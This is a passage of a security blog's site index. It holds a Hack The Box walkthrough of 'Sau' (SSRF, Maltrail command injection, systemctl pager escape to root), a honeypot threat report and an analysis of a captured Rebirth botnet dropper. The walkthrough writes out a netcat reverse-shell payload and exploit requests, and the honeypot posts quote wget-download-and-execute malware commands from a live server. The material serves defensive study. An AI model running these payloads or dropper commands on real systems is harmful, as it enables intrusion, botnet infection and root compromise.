2026","externalUrl":null,"permalink":"/tags/jinja2/","section":"Tags","summary":"","title":"Jinja2","type":"tags"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/tags/linux/","section":"Tags","summary":"","title":"Linux","type":"tags"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/tags/md5/","section":"Tags","summary":"","title":"MD5","type":"tags"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/tags/privesc/","section":"Tags","summary":"","title":"PrivEsc","type":"tags"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/tags/rce/","section":"Tags","summary":"","title":"RCE","type":"tags"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/tags/sqli/","section":"Tags","summary":"","title":"SQLi","type":"tags"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/tags/sqlinjection/","section":"Tags","summary":"","title":"SQLInjection","type":"tags"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/tags/ssti/","section":"Tags","summary":"","title":"SSTI","type":"tags"},{"content":"","date":"16 July 2026","externalUrl":null,"permalink":"/tags/writeups/","section":"Tags","summary":"","title":"Writeups","type":"tags"},{"content":"","date":"13 July 2026","externalUrl":null,"permalink":"/tags/commandinjection/","section":"Tags","summary":"","title":"CommandInjection","type":"tags"},{"content":"","date":"13 July 2026","externalUrl":null,"permalink":"/tags/cve-2023-26604/","section":"Tags","summary":"","title":"CVE-2023-26604","type":"tags"},{"content":"","date":"13 July 2026","externalUrl":null,"permalink":"/tags/cve-2023-27163/","section":"Tags","summary":"","title":"CVE-2023-27163","type":"tags"},{"content":" Walkthrough of Sau on Hack The Box. Easy difficulty machine running Linux. An SSRF in Request Baskets v1.2.1 (CVE-2023-27163) lets us pivot to Maltrail v0.53, a malicious traffic detection service accessible only from localhost. Maltrail has an unauthenticated RCE in its login endpoint that gives us a shell as puma. Escalation to root exploits CVE-2023-26604: systemctl status run via sudo invokes less as a pager inheriting root privileges, which we escape with !/bin/bash. HackTheBox Linux Easy 🗺️ Machine Info # Field Detail Name Sau OS Linux Difficulty Easy IP 10.129.229.26 Techniques CVE-2023-27163 · SSRF · Maltrail RCE · CVE-2023-26604 · sudo Pager Escape 1. Reconnaissance # 1.1 Port Scan # nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.229.26 PORT STATE SERVICE 22/tcp open ssh 55555/tcp open unknown Version scan on open ports:\nnmap -sC -sV -p22,55555 10.129.229.26 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 55555/tcp open http Golang net/http server |_http-title: Request Baskets Open ports:\n22 → SSH, no known public exploits 55555 → Golang service redirecting to /web — Request Baskets 💡 Attack surface: Only two ports. All initial research goes through the web service on 55555.\n2. Application Identification — Request Baskets v1.2.1 # Visiting http://10.129.229.26:55555/web confirms the application and its version.\nPowered by request-baskets | Version: 1.2.1 What is Request Baskets? A tool that creates configurable HTTP \u0026ldquo;baskets\u0026rdquo; to capture, inspect, and proxy requests to a target URL. This forwarding functionality is exactly the attack vector.\n⚠️ Vulnerability identified: Request Baskets v1.2.1 is vulnerable to CVE-2023-27163, an SSRF (Server-Side Request Forgery): the forward_url field in a basket\u0026rsquo;s configuration doesn\u0026rsquo;t restrict the destination, allowing the server itself to make HTTP requests to internal addresses (127.0.0.1, private networks) on behalf of the attacker.\n3. Exploitation — SSRF via Request Baskets (CVE-2023-27163) # 3.1 Step 1 — Create a Basket and Verify the SSRF # From /web we create a new basket. The application assigns a random name (e.g. h68nagt). We configure forward_url pointing to our VPN IP with Proxy Response and Expand Forward Path enabled:\nWe open a listener:\nnc -lnvp 80 We trigger a request against the basket:\ncurl http://10.129.229.26:55555/h68nagt The listener receives the request forwarded by the target server:\nListening on 0.0.0.0 80 Connection received on 10.129.229.26 39160 GET / HTTP/1.1 Host: 10.10.14.211 User-Agent: curl/8.14.1 X-Do-Not-Forward: 1 ✅ SSRF confirmed. The target server made the HTTP request on our behalf. The X-Do-Not-Forward: 1 header is an internal Request Baskets protection to prevent forwarding loops — it doesn\u0026rsquo;t prevent directing the proxy to internal destinations.\n3.2 Step 2 — Pivot to the Internal Service # We reconfigure the basket to point to http://127.0.0.1:80 — the target machine\u0026rsquo;s localhost, on a port that didn\u0026rsquo;t appear in the Nmap scan because it only listens on loopback:\nRepeating the request against the basket, the forwarded response reveals the local application:\nMaltrail v0.53 — a malicious traffic detection system.\n💡 Why this works: Port 80 is only exposed on 127.0.0.1, invisible from the outside. But the SSRF makes the server itself make the connection, not us — from the target machine\u0026rsquo;s kernel, the request comes from itself, so the loopback filter doesn\u0026rsquo;t apply.\n⚠️ Vulnerability identified: Maltrail v0.53 has an unauthenticated RCE on the /login endpoint: the username parameter is passed unsanitized to a system command (logger), allowing command injection via subshell substitution (`...`).\n4. Exploitation — Unauthenticated RCE on Maltrail # 4.1 Payload Construction # We base64-encode the reverse shell to avoid issues with special characters in the request:\nENC=$(echo -n \u0026#34;rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2\u0026gt;\u0026amp;1|nc 10.10.14.211 4444 \u0026gt;/tmp/f\u0026#34; | base64 -w0) 4.2 Delivery via SSRF # We leverage the SSRF basket (configured to forward to 127.0.0.1:80) to deliver the payload to Maltrail\u0026rsquo;s login endpoint:\ncurl \u0026#39;http://10.129.229.26:55555/h68nagt/login\u0026#39; \\ --data \u0026#34;username=;\\`echo+$ENC+|+base64+-d+|+sh\\`\u0026#34; Login failed 💡 Payload logic: The username field closes the context expected by the logger command and injects a subshell substitution that decodes the base64 payload and executes it with sh. The Login failed response is normal behavior — the command already executed in the background before the login logic finishes processing.\n4.3 Receiving the Shell # nc -lnvp 4444 Listening on 0.0.0.0 4444 Connection received on 10.129.229.26 35486 sh: 0: can\u0026#39;t access tty; job control turned off $ whoami puma TTY stabilization:\npython3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; # Ctrl+Z stty raw -echo; fg export TERM=xterm; export SHELL=bash stty rows 40 cols 150; reset ✅ Shell obtained as puma.\n5. User Flag # puma@sau:~$ cat ~/user.txt 🔑 User flag obtained.\n6. Privilege Escalation — CVE-2023-26604 (Pager Escape in systemctl) # 6.1 Sudo Permission Enumeration # puma@sau:~$ sudo -l User puma may run the following commands on sau: (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service puma@sau:~$ systemctl --version systemd 245 (245.4-4ubuntu3.22) ⚠️ Vulnerability identified (CVE-2023-26604): When systemctl status output exceeds the terminal height, systemd automatically invokes a pager (less) to paginate it. If the command was run via sudo, that less inherits root privileges. less allows executing arbitrary shell commands with !\u0026lt;command\u0026gt;, inheriting those same privileges.\n6.2 Exploit Execution # puma@sau:~$ sudo /usr/bin/systemctl status trail.service ● trail.service - Maltrail. Server of malicious traffic detection system Loaded: loaded (/etc/systemd/system/trail.service; enabled) Active: active (running) since Mon 2026-07-13 10:56:47 UTC; 3h 30min ago Main PID: 896 (python3) Tasks: 13 (limit: 4662) Memory: 29.3M CGroup: /system.slice/trail.service ├─ 896 /usr/bin/python3 server.py └─1342 pager The output opens paginated via less, executed in the sudo process tree — with root privileges. Inside the pager we type:\n!/bin/bash root@sau:/opt/maltrail# id uid=0(root) gid=0(root) groups=0(root) ✅ Escalation to root completed.\n7. Root Flag # root@sau:~# cat /root/root.txt 🏁 Root flag obtained.\n8. Summary and Lessons Learned # Compromise path:\nRecon → Port 55555 with Request Baskets v1.2.1. CVE-2023-27163 → SSRF via forward_url → confirmed by forwarding request to our IP. Pivot → Forward to 127.0.0.1:80 → Maltrail v0.53 discovered (only accessible on localhost). Maltrail RCE → Command injection in username parameter of the login → reverse shell as puma. User flag → ~/user.txt. CVE-2023-26604 → sudo systemctl status invokes less as pager with root privileges → !/bin/bash → root. What I learned from this machine:\n\u0026ldquo;Only listens on localhost\u0026rdquo; is not a security barrier if there\u0026rsquo;s an SSRF in another service. Port 80 of Maltrail was invisible to an external scanner, but the SSRF turned the server itself into our proxy. Internal network segmentation must complement binding restrictions — an unauthenticated service on loopback is still vulnerable if there\u0026rsquo;s another exploitable service on the same machine.\nSSRF is often the first link in a chain, not the attack itself. The value of CVE-2023-27163 wasn\u0026rsquo;t in the SSRF per se but in what was behind it: a more dangerous service only reachable through it. The pivot methodology (confirm SSRF → scan internal ranges → identify hidden services) is the pattern to follow whenever an SSRF is found.\nCommand injection in logging parameters is a classic, still-relevant error. Maltrail used logger to record failed login attempts, passing username unsanitized. Any call to an external command that includes user input without going through an argument list (subprocess.run([...]) in Python, equivalents in other languages) is potentially vulnerable. The correct fix in Maltrail would have been to use subprocess arguments as a list, not as a shell string.\nCVE-2023-26604 illustrates why interactive pagers are dangerous in sudo contexts. less is useful, but when invoked with elevated privileges it becomes a trivial escape vector — !command effectively turns it into a shell with those privileges. The fix is always to pass --no-pager or set SYSTEMD_PAGER=cat in sudoers rules for any systemd command run via sudo.\nThis machine\u0026rsquo;s full chain is two 2023 CVEs chained together. Neither is sophisticated in isolation — one is a poorly restricted proxy, the other is a pager that launches shells. The value is in recognizing the pattern: when sudo permits executing something that can in turn open an interactive process (pager, editor, interpreter), investigate whether that process inherits privileges.\nMitigations:\nVector Mitigation CVE-2023-27163 — SSRF in Request Baskets Update to patched version; validate and restrict forward_url destinations (block private ranges and loopback) Maltrail on localhost without authentication Don\u0026rsquo;t assume loopback is secure; apply authentication to all services regardless of binding RCE in Maltrail login (injection in logger) Update Maltrail; use argument lists in subprocess calls — never interpolate user input into shell strings sudo NOPASSWD on systemctl status Add --no-pager or set SYSTEMD_PAGER=cat in the sudoers rule; avoid sudo permissions on commands that invoke interactive pagers CVE-2023-26604 — pager escape with inherited privileges Update systemd to patched version (≥ 247); configure PAGER=cat for sudo-executable commands ","date":"13 July 2026","externalUrl":null,"permalink":"/posts/htb-sau/","section":"Posts","summary":" Walkthrough of Sau on Hack The Box. Easy difficulty machine running Linux. An SSRF in Request Baskets v1.2.1 (CVE-2023-27163) lets us pivot to Maltrail v0.53, a malicious traffic detection service accessible only from localhost. Maltrail has an unauthenticated RCE in its login endpoint that gives us a shell as puma. Escalation to root exploits CVE-2023-26604: systemctl status run via sudo invokes less as a pager inheriting root privileges, which we escape with !/bin/bash. HackTheBox Linux Easy ","title":"HTB Walkthrough: Sau","type":"posts"},{"content":"","date":"13 July 2026","externalUrl":null,"permalink":"/tags/maltrail/","section":"Tags","summary":"","title":"Maltrail","type":"tags"},{"content":"","date":"13 July 2026","externalUrl":null,"permalink":"/tags/pagerescape/","section":"Tags","summary":"","title":"PagerEscape","type":"tags"},{"content":"","date":"13 July 2026","externalUrl":null,"permalink":"/tags/requestbaskets/","section":"Tags","summary":"","title":"RequestBaskets","type":"tags"},{"content":"","date":"13 July 2026","externalUrl":null,"permalink":"/tags/sau/","section":"Tags","summary":"","title":"Sau","type":"tags"},{"content":"","date":"13 July 2026","externalUrl":null,"permalink":"/tags/ssrf/","section":"Tags","summary":"","title":"SSRF","type":"tags"},{"content":"","date":"13 July 2026","externalUrl":null,"permalink":"/tags/sudo/","section":"Tags","summary":"","title":"Sudo","type":"tags"},{"content":"","date":"13 July 2026","externalUrl":null,"permalink":"/tags/systemd/","section":"Tags","summary":"","title":"Systemd","type":"tags"},{"content":"","date":"12 July 2026","externalUrl":null,"permalink":"/tags/rebirth/","section":"Tags","summary":"","title":"Rebirth","type":"tags"},{"content":"","date":"12 July 2026","externalUrl":null,"permalink":"/tags/suricata/","section":"Tags","summary":"","title":"Suricata","type":"tags"},{"content":"","date":"12 July 2026","externalUrl":null,"permalink":"/tags/trinity/","section":"Tags","summary":"","title":"Trinity","type":"tags"},{"content":" First weekly report from the T-Pot honeypot. During the week of July 7–11, 2026, approximately 1,011,000 attack events were recorded across 10 active sensors. Top findings: multi-architecture Redtail malware captured in Cowrie, a complete Android infection chain in Adbhoney (Rebirth → UFO miner → Trinity botnet), active scanning of exposed AI services (Ollama, Gradio, Streamlit), and probing of the IEC-104 protocol used in European electrical substations. Period analyzed: July 7–11, 2026 Source: T-Pot (multi-honeypot + ELK Stack) — publicly internet-exposed instance Classification: Portfolio use / TLP:CLEAR\n1. Executive Summary # During the analyzed week, the honeypot recorded ~1,011,000 attack events across 10 active sensors, originating from thousands of unique source IPs. Activity was not uniform: a clear traffic spike between July 9 and 10 is observed across nearly all sensors simultaneously, suggesting one or more mass scanning campaigns launched in that interval rather than constant organic activity.\nMost relevant findings of the week:\nMulti-architecture malware captured in Cowrie (Redtail family, binaries for ARM7, ARM8, i686, and x86_64), downloaded after successful SSH brute force. Complete Android infection chain captured in Adbhoney: loader download (rebirth.arm7), mining app installation (com.ufo.miner), and execution of a Trinity family binary. Targeted scanning of exposed AI services (Ollama, Gradio, Streamlit) detected in Honeytrap — a pattern characteristic of 2025–2026, not \u0026ldquo;classic\u0026rdquo; IoT malware. IEC-104 protocol probing (port 2404) in ConPot — the standard telecontrol protocol used in European electrical substation control systems. Toll fraud activity against Sentrypeer, targeting French and international number ranges, with SIP INVITE/REGISTER methods dominant. 99%+ of traffic is flagged as \u0026ldquo;known attacker\u0026rdquo; by IP reputation — infrastructure already catalogued in threat databases, not random internet noise. A significant portion of the volume (Modat B.V., ONYPHE SAS) corresponds to known internet research scanners (like Shodan/Censys), not necessarily malicious actors — an important nuance to avoid overestimating the actual threat level. 2. Volume and Weekly Trend # Honeypot Events (week) Unique IPs % of total Honeytrap 678,792 6,119 67.2% Cowrie (SSH/Telnet) 116,390 823 11.5% RDPHoneypot 111,818 250 11.1% Dionaea 61,123 683 6.0% Sentrypeer (SIP/VoIP) 36,522 112 3.6% Adbhoney (Android ADB) 2,618 63 0.3% Tanner ~2,000 — 0.2% ConPot (ICS/SCADA) 1,594 128 0.2% Mailoney 906 — 0.1% Honeyaml 660 — 0.1% Approx. total ~1,011,000 — 100% Honeytrap concentrates two-thirds of total volume, but this is misleading if interpreted as \u0026ldquo;the most attacked honeypot\u0026rdquo; — Honeytrap responds on nearly any TCP port, so it absorbs all generic internet scanning noise. Cowrie and RDPHoneypot, with far fewer events but more complete interactions (login, command execution, sessions), yield higher-quality intelligence.\nThe temporal trend shows constant background activity with a pronounced spike between July 9–10, consistently visible across Honeytrap, RDPHoneypot, and Adbhoney simultaneously — indicating a large-scale scanning campaign was launched (or completed a reconnaissance cycle) that day, touching multiple exposed services on the instance.\n3. Geographic and Infrastructure Analysis # Most frequent countries of origin # Canada, Brazil, France, Singapore, United States, Netherlands, Bulgaria, Azerbaijan, China, and India appear consistently across different honeypots, with variations by protocol: Bulgaria/Azerbaijan stand out in RDP, China/India in Cowrie.\nMost frequent ASN / Hosting # ASN Organization Honeypot Events 209334 Modat B.V. Honeytrap 346,372 264897 SKYMAX Telecomunicações Honeytrap 113,038 202053 UpCloud Ltd Honeytrap 76,039 14061 DigitalOcean, LLC Cowrie 21,687 197170 TechTies Inc. Cowrie 20,894 201814 MEVSPACE sp. z o.o. RDPHoneypot 39,105 213438 ColocaTel Inc. RDPHoneypot 37,466 23470 ReliableSite.Net LLC Adbhoney 2,021 Note: Modat B.V. and ONYPHE SAS are known internet scanning organizations for research/threat intelligence purposes (comparable to Censys or Shodan). An analyst doesn\u0026rsquo;t count this traffic the same as botnet traffic: it\u0026rsquo;s internet background noise, useful for perspective but not indicative of directed hostile intent.\nIn contrast, ReliableSite.Net concentrates 77% of all Adbhoney traffic (2,021 of 2,618 events) — a sign of a concentrated campaign, a single operator reusing bulletproof infrastructure.\nRepeated subnet pattern # IPs 45.153.34.149, .151, .161, and .181 appear in Cowrie with nearly identical counts (~3,817 events each). Classic signature of an operator rotating IPs within the same /24 to evade per-IP blocking — a well-configured IDS should block at the subnet level, not individual IPs.\n4. Observed TTPs # 4.1 Target credentials — SSH/RDP brute force (Cowrie) # Username Attempts Password Attempts Administrator 12,939 (empty) 29,534 root 4,993 123456 896 admin 845 1234 336 ubuntu 298 password 304 user 265 12345678 233 sa 256 123 380 The dominance of Administrator (12,939 of 15,096 captured usernames) is consistent with attacks targeting RDP/Windows. The sa user confirms MSSQL database probing. Passwords mix generic dictionaries with \u0026ldquo;fake complex\u0026rdquo; patterns (P@ssw0rd2025, Admin@123) designed to pass basic complexity policies.\nCurious detail: 345gs5662d34 / 3245gs5662d34 appear both as username and password with identical counts (102) — pattern of a script with a malformed dictionary that tries these strings in both fields as a fallback default.\n4.2 Post-exploitation — reconnaissance after login (Cowrie) # Most repeated command sequence after a simulated valid login:\nuname -a cat /proc/cpuinfo | grep name | wc -l cd ~; chattr -ia .ssh; lockr -ia .ssh free -m | grep Mem | awk \u0026#39;{print $2 ,$3, $4, $5, $6, $7}\u0026#39; ls -lh $(which ls) top This is a pre-payload system fingerprinting script: it collects CPU, architecture, and RAM before deciding which binary to download. The chattr -ia .ssh command is especially revealing — it locks the .ssh directory with the immutable attribute to prevent other actors or the administrator from modifying SSH keys. A \u0026ldquo;marked territory\u0026rdquo; technique common in worms competing with each other for the same host.\n4.3 Suricata Alerts # Signature Count SURICATA STREAM Packet with broken ack 173,847 SURICATA STREAM spurious retransmission 96,038 SURICATA AF-PACKET truncated packet 82,279 SURICATA IPv4 truncated packet 81,337 SURICATA SSH invalid banner 15,412 ET INFO SSH session in progress on Expected Port 5,560 The bulk are aggressive, poorly implemented scanners (improperly closed TCP connections, invalid SSH banners from automated tools), not active exploits. Important: don\u0026rsquo;t present the 173,847 broken packets as \u0026ldquo;173,847 attacks\u0026rdquo; — it\u0026rsquo;s background noise telemetry, not real intrusion attempts.\n4.4 CVEs correlated by Suricata # CVE Detections Family CVE-1999-0016 12 Land attack (IP spoofing) CVE-2022-37055 11 — CVE-2019-12263 and related 7 — CVE-2020-11900 3 Ripple20 (Treck TCP/IP stack, IoT/ICS) CVE-2020-11910 1 Ripple20 CVE-2020-11900/11910 belong to the Ripple20 family (Treck TCP/IP stack used in IoT/industrial devices), consistent with the general profile of opportunistic traffic against embedded devices throughout the week.\n4.5 Scanning of exposed AI services (Honeytrap) # Port Typical service 11434 Ollama (LLM inference API) 7860 Gradio (ML/AI demo web interface) 8501 Streamlit (ML/AI dashboards) 1337 Classic hacking tool port 8728 MikroTik API (routers) Active and sustained scanning against Ollama, Gradio, and Streamlit is a distinctive finding: it confirms that threat actors have already incorporated poorly secured self-hosted AI infrastructure as a mass reconnaissance target, in the same category as exposed routers or IP cameras. In 2026 this is no longer an emerging trend — it\u0026rsquo;s background traffic.\n5. Captured Malware and Payloads # 5.1 Cowrie — Redtail family (multi-architecture) # After successful login attempts, the following downloads were captured:\nredtail.arm7 redtail.arm8 redtail.i686 redtail.x86_64 Compilation for four architectures (ARM 32/64-bit, x86, and x86_64) confirms a loader designed to maximize compatibility across cloud servers (x86_64), embedded ARM devices, and legacy systems (i686) — typical pattern of modern cryptocurrency mining botnets that don\u0026rsquo;t discriminate by victim type.\n5.2 Adbhoney — Complete Android infection chain # The most complete capture of the week. Sequence observed in full:\n# 1. Loader download (Rebirth botnet, Mirai-like variant) busybox wget http://94.154.43.48/rebirth.arm7 -O /data/local/tmp/com.sup[...] # 2. Mining APK installation pm install /data/local/tmp/ufo.apk # 3. Miner execution am start -n com.ufo.miner/com.example.test.MainActivity # 4. Trinity binary execution (second botnet family) ps | grep trinity /data/local/tmp/nohup su -c /data/local/tmp/trinity This documents from start to finish how an automated actor uses an Android device with exposed ADB (smart TVs, Android TV boxes, misconfigured emulators) to: download loader → install mining APK → execute a second botnet binary. Three distinct families in a single infection session.\n6. Dionaea — Database and File Services # 61,123 attacks, 683 unique IPs. Dionaea simulates classic vulnerable services (SMB, RPC, MySQL, MSSQL, MongoDB, FTP, PPTP, MQTT).\nThe dominant protocol is SMB (port 445), followed by epmapper (RPC, port 135), mysqld (3306), and mssqld (1433) — the same vectors popularized by WannaCry, still active.\nTested credentials (admin, sa, root, anonymous) are default MSSQL and MongoDB/FTP accounts, not mass dictionaries — a pattern more targeted at specific services than generic brute force.\nIPs 62.84.80.240 to 62.84.80.243 (four consecutive addresses, ~5,600–5,700 events each) repeat the rotation pattern within the same /29–/30 subnet already seen in Cowrie.\nASN Organization Events 42334 Broadband Plus S.a.l. (Lebanon) 22,578 58224 Iran Telecommunication Company PJS 14,225 56041 China Mobile Communications 6,302 45899 VNPT Corp (Vietnam) 3,230 7. Sentrypeer — Telephone Fraud (Toll Fraud) over SIP/VoIP # 36,522 attacks, 112 unique IPs. Virtually no activity until July 9, when it suddenly spikes and stays elevated the rest of the week — the start of a specific VoIP reconnaissance/fraud campaign within the analyzed window.\nThe dominant SIP method is INVITE (attempt to initiate a call), followed by REGISTER (fake extension registration). Captured user-agents (Linksys-SPA942, Avaya one-X Deskphone, Yealink SIP-T54W, Cisco-SIPGateway, FPBX-15.0.17) are profiles of real IP phones and PBX systems, typical of scanners that rotate SIP client fingerprints to avoid detection.\nTarget numbers with prefix 0033 (France) and 0016... (North America) are consistent with toll fraud: the goal is to get the compromised PBX to originate calls to premium rate numbers that generate revenue for the attacker.\nIPs 217.154.196.x / 217.154.197.x and 31.70.86.6x repeat the contiguous block pattern observed across other sensors this week.\n8. ConPot — Industrial Infrastructure (ICS/SCADA) Reconnaissance # 1,594 attacks, 128 unique IPs. Low volume, but the honeypot simulates industrial control infrastructure — any interaction is relevant based on the type of target, not the number.\nActivity starts exactly like Sentrypeer: virtually none before July 9, with sustained growth from that date. Second indicator that July 9 marked the start of a broader reconnaissance window against the instance, not just isolated activity on one sensor.\nProtocols and ports # The dominant protocol is SNMP (port 161, ~50% of traffic), followed by guardian_ast (port 10001, fuel tank monitoring systems), and occasionally kamstrup_protocol (smart energy meters) and IEC-104 (port 2404).\nIEC-104 deserves special mention: it\u0026rsquo;s the standard telecontrol protocol used in European electrical substations. Active probing against this port, even at low volume, is data a power operator\u0026rsquo;s SOC would consider high priority — in a research honeypot it\u0026rsquo;s evidence that actors are actively scanning ICS ports in the electrical sector, not just generic SNMP.\n9. Conclusions # The July 9–10 spike is reflected simultaneously across Honeytrap, RDPHoneypot, Adbhoney, Sentrypeer, and ConPot. Five different sensors rising at the same time points to a coordinated or shared-infrastructure reconnaissance campaign, not coincidence.\nBlock at /24 subnet level, not individual IPs. The rotation pattern among contiguous IPs from the same operator (visible in Cowrie, Dionaea, and Sentrypeer) makes per-IP blocking ineffective. A /24 or even /20 block would have eliminated thousands of events before they reached the sensor.\nOllama, Gradio, and Streamlit are already in mass scanning dictionaries. Any environment with these services exposed without authentication should be treated with the same priority as an exposed RDP or SSH — they\u0026rsquo;re not \u0026ldquo;developer tools,\u0026rdquo; they\u0026rsquo;re unauthenticated HTTP services accessible from the internet.\nDistinguish protocol noise from alerts with real intent. The 173,000+ Suricata STREAM broken ack events are a consequence of poorly implemented scanning tools, not intrusion attempts. Presenting them as attacks artificially inflates the report\u0026rsquo;s perceived severity.\nThe Rebirth → UFO Miner → Trinity chain captured in Adbhoney is a complete Android/IoT infection case study; it warrants a separate technical post.\nIEC-104 probing in ConPot should be kept under watch: any future uptick on that specific port, in combination with another active sensor, warrants priority attention given the type of infrastructure it simulates.\nReport compiled from data collected in a publicly internet-exposed T-Pot instance. Methodology: export of aggregated Kibana dashboards (range July 7–11, 2026) plus credential tag clouds in CSV.\n","date":"12 July 2026","externalUrl":null,"permalink":"/honeypot/informe-semanal-01/","section":"Honeypots","summary":" First weekly report from the T-Pot honeypot. During the week of July 7–11, 2026, approximately 1,011,000 attack events were recorded across 10 active sensors. Top findings: multi-architecture Redtail malware captured in Cowrie, a complete Android infection chain in Adbhoney (Rebirth → UFO miner → Trinity botnet), active scanning of exposed AI services (Ollama, Gradio, Streamlit), and probing of the IEC-104 protocol used in European electrical substations. Period analyzed: July 7–11, 2026 Source: T-Pot (multi-honeypot + ELK Stack) — publicly internet-exposed instance Classification: Portfolio use / TLP:CLEAR\n","title":"Weekly Threat Intelligence Report — T-Pot Honeypot (Jul 7–11, 2026)","type":"honeypot"},{"content":"","date":"9 July 2026","externalUrl":null,"permalink":"/tags/adb/","section":"Tags","summary":"","title":"ADB","type":"tags"},{"content":"","date":"9 July 2026","externalUrl":null,"permalink":"/tags/android/","section":"Tags","summary":"","title":"Android","type":"tags"},{"content":"","date":"9 July 2026","externalUrl":null,"permalink":"/tags/cve-2017-17215/","section":"Tags","summary":"","title":"CVE-2017-17215","type":"tags"},{"content":"","date":"9 July 2026","externalUrl":null,"permalink":"/tags/ddos/","section":"Tags","summary":"","title":"DDoS","type":"tags"},{"content":"","date":"9 July 2026","externalUrl":null,"permalink":"/tags/gafgyt/","section":"Tags","summary":"","title":"Gafgyt","type":"tags"},{"content":" While reviewing traffic from my T-Pot honeypot I found something more interesting than the typical SSH brute-force attempt: a complete infection chain, captured live, that turned out to be a variant of the Rebirth botnet, from the Mirai/Gafgyt family. This post covers exactly what I captured, how I pieced it together to identify it, and what the security community says about this family — making clear throughout what is my direct observation and what is third-party research. What I Captured (this part is mine) # The honeypot that recorded this was Adbhoney, one of T-Pot\u0026rsquo;s sensors that simulates the ADB (Android Debug Bridge) protocol — Android\u0026rsquo;s remote debugging system, which when exposed to the internet without authentication is a trivial entry point for automated bots.\nThe command executed by the attacker, captured verbatim in the logs:\ntoybox wget http://94.154.43.48/rebirth.arm7 -O /data/local/tmp/com.supercell.clashroyal chmod 777 /data/local/tmp/com.supercell.clashroyal ./data/local/tmp/com.supercell.clashroyal adb Three steps, typical of an automated dropper:\nDownloads a binary (rebirth.arm7) from a remote server, using toybox — a BusyBox-like utility pre-installed on most Android systems, so the attacker doesn\u0026rsquo;t depend on having extra tools on the target device. Grants full execution permissions (chmod 777). Executes it, passing adb as an argument — without deeper binary analysis, my read is that it probably tells it to use that vector to keep spreading to other devices with exposed ADB. The detail that caught my attention most: the file is saved as com.supercell.clashroyal, the real package name of the Clash Royale game. It\u0026rsquo;s a simple camouflage technique — so that someone reviewing processes at a glance won\u0026rsquo;t be suspicious.\nHow I Pieced It Together (the real process, dead end included) # The first thing I did was take the SHA256 hash of the file, which T-Pot had automatically saved as the captured file\u0026rsquo;s name:\n849840d92c44ed04af624abd9e5d79a7a082016c89ac39ac50d19f3d537839b5 I searched it on VirusTotal and found nothing — the hash wasn\u0026rsquo;t in their database. At that point I didn\u0026rsquo;t know whether it was a new uncatalogued sample or if I was simply searching wrong. I used the binary\u0026rsquo;s name (rebirth.arm7, visible in the command itself) to search by text instead of hash, and there I found references — a Sysdig analysis documenting a campaign with that same filename, identifying it as part of the Rebirth botnet.\nA few days later, I checked the hash on VirusTotal again and this time it was registered — probably because another researcher uploaded an identical copy captured in their own honeypot. Community comments on the entry confirm it: at least two other people report having seen it \u0026ldquo;in the wild\u0026rdquo; around the same dates as mine.\nWhat VirusTotal\u0026rsquo;s Automated Analysis Shows (not mine, I\u0026rsquo;m citing it) # With the sample now indexed, here\u0026rsquo;s what its entry shows:\nField Result Detection 39 out of 63 antivirus engines Popular label trojan.mirai/smmr1 Categories trojan, dropper, worm Family labels mirai, smmr1, camelot Architecture ELF ARM — 194.51 KB VirusTotal also includes an automatically generated behavior summary (\u0026ldquo;Code Insights\u0026rdquo;) that describes the binary as an IoT botnet from the Mirai/Gafgyt family, with self-propagation capability exploiting CVE-2017-17215 (an RCE in Huawei HG532 routers), a module that kills competing malware processes, several DDoS attack vectors, and encrypted C2 communication.\nI have not personally verified these details by disassembling the binary — I\u0026rsquo;m reproducing them for what they are: VirusTotal\u0026rsquo;s automated reading, also backed by several community YARA rules (Elastic Security, Florian Roth/Nextron Systems) that match known signatures of Mirai and the CVE-2017-17215 exploit.\nWhat Prior Research Says About Rebirth (also not mine) # Rebirth doesn\u0026rsquo;t appear to be an isolated experiment. Research published by Sysdig describes it as a DDoS-as-a-Service offering — a botnet for hire — allegedly administered under the alias \u0026ldquo;Docx69\u0026rdquo;, promoted on Telegram and gaming streams. Earlier technical analyses place it as built on Gafgyt, with capabilities inherited from other families like QBot and STDBot.\nI mention this as third-party context, not something I\u0026rsquo;ve confirmed independently — but it fits reasonably with the modular behavior (propagation + DDoS + anti-competition) that VirusTotal\u0026rsquo;s entry does describe for this specific sample.\nWhat I\u0026rsquo;m Confident Concluding # A 2017 vulnerability is still an active propagation vector in 2026. If CVE-2017-17215 keeps appearing in current malware, it\u0026rsquo;s because there are still enough unpatched Huawei routers out there to make including it worthwhile.\nCamouflage as Clash Royale works precisely because nobody expects to review an Android device\u0026rsquo;s processes in depth. You don\u0026rsquo;t need a sophisticated evasion technique if nobody is looking.\nA hash with no VirusTotal results doesn\u0026rsquo;t mean \u0026ldquo;nothing interesting\u0026rdquo; — sometimes it just means you got there before the rest of the community. Searching by other data (filename, command, IP) when the hash fails is a step I almost missed.\nTechnical Summary # Field Source Value Capture honeypot Direct observation Adbhoney (T-Pot) Capture date Direct observation July 9, 2026 Origin server Direct observation 94.154.43.48 Actual filename Direct observation rebirth.arm7 Disguise name Direct observation com.supercell.clashroyal SHA256 Direct observation 849840d92c44ed04af624abd9e5d79a7a082016c89ac39ac50d19f3d537839b5 Architecture / size VirusTotal ELF ARM, 194.51 KB Detection VirusTotal 39/63 Family VirusTotal / community YARA Mirai/Gafgyt (Rebirth), smmr1 Propagation CVE VirusTotal Code Insights (not verified by me) CVE-2017-17215 (Huawei HG532) DDoS-as-a-Service context Sysdig research Operator alias: \u0026ldquo;Docx69\u0026rdquo; This analysis combines direct observation in my honeypot with public threat intelligence sources (VirusTotal, Sysdig research), clearly differentiated throughout the post. At no point did I execute the binary outside the honeypot\u0026rsquo;s isolated environment.\n","date":"9 July 